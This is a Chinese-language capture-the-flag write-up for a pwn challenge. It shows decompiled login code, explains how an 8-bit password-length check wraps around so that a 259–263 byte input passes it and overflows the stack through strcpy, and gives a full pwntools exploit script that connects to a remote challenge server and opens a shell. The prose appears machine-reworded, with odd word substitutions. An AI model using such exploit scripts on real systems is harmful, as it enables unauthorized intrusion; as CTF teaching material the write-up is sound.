做了一下午的攻防世界的题,总算快把老手区的题做完了,这里放一道有播种的题
播种是利用整数溢出

利用checksec

看一看IDA外面的货色

int __cdecl main(int argc, const char **argv, const char **envp){  int v4; // [esp+Ch] [ebp-Ch]  setbuf(stdin, 0);  setbuf(stdout, 0);  setbuf(stderr, 0);  puts("---------------------");  puts("~~ Welcome to CTF! ~~");  puts("       1.Login       ");  puts("       2.Exit        ");  puts("---------------------");  printf("Your choice:");  __isoc99_scanf("%d", &v4);  if ( v4 == 1 )  {    login();  }  else  {    if ( v4 == 2 )    {      puts("Bye~");      exit(0);    }    puts("Invalid Choice!");  }  return 0;}

发现有判断,间接进入login

char *login(){  char buf; // [esp+0h] [ebp-228h]  char s; // [esp+200h] [ebp-28h]  memset(&s, 0, 0x20u);  memset(&buf, 0, 0x200u);  puts("Please input your username:");  read(0, &s, 0x19u);  printf("Hello %s\n", &s);  puts("Please input your passwd:");  read(0, &buf, 0x199u);  return check_passwd(&buf);}

发现有俩个读入,而且数目很大
再次进入返回函数

char *__cdecl check_passwd(char *s){  char *result; // eax  char dest; // [esp+4h] [ebp-14h]  unsigned __int8 v3; // [esp+Fh] [ebp-9h]  v3 = strlen(s);  if ( v3 <= 3u || v3 > 8u )  {    puts("Invalid Password");    result = (char *)fflush(stdout);  }  else  {    puts("Success");    fflush(stdout);    result = strcpy(&dest, s);  }  return result;}

这里就是咱们要重点利用的中央,由反汇编代码,咱们发现s的长度必须在3,8之间,else下有发现有栈溢出破绽,但s不可能么大。
察看到v3是8位整数,正好能够利用整数溢出,则填入259-263的字节数即可填充s而后通过strcpy来取得shell
上面是WA

# coding=utf-8from pwn import *context.log_level = 'debug'    sys_plt = 0x08048520elf=ELF('./intoverflow')sys_addr = elf.symbols['what_is_this']payload = 'a'*24 + p32(sys_plt) + 'a' * 4 + p32(0x08048960)payload = payload.ljust(260,'a') #ljust能够用a来填充payload到指定长度260p = remote('111.200.241.244',52073)p.sendlineafter('Your choice:','1')p.sendlineafter('your username:','aa')p.sendlineafter('your passwd:',payload)p.interactive()

说一下让本人坑的中央

  1. 少用'\x00'来填充,因为很多函数都是用它来作为完结的判断,在前面填充时始终不对。
  2. 留神到read读取的数量,出题人善意的清理了一下区域,所以能准确读取发送的内容,本人最好也在发送内容前面加上截断。
  3. 留神函数名字的变动,我始终在填充20h的s 呜呜呜u呜呜呜

以上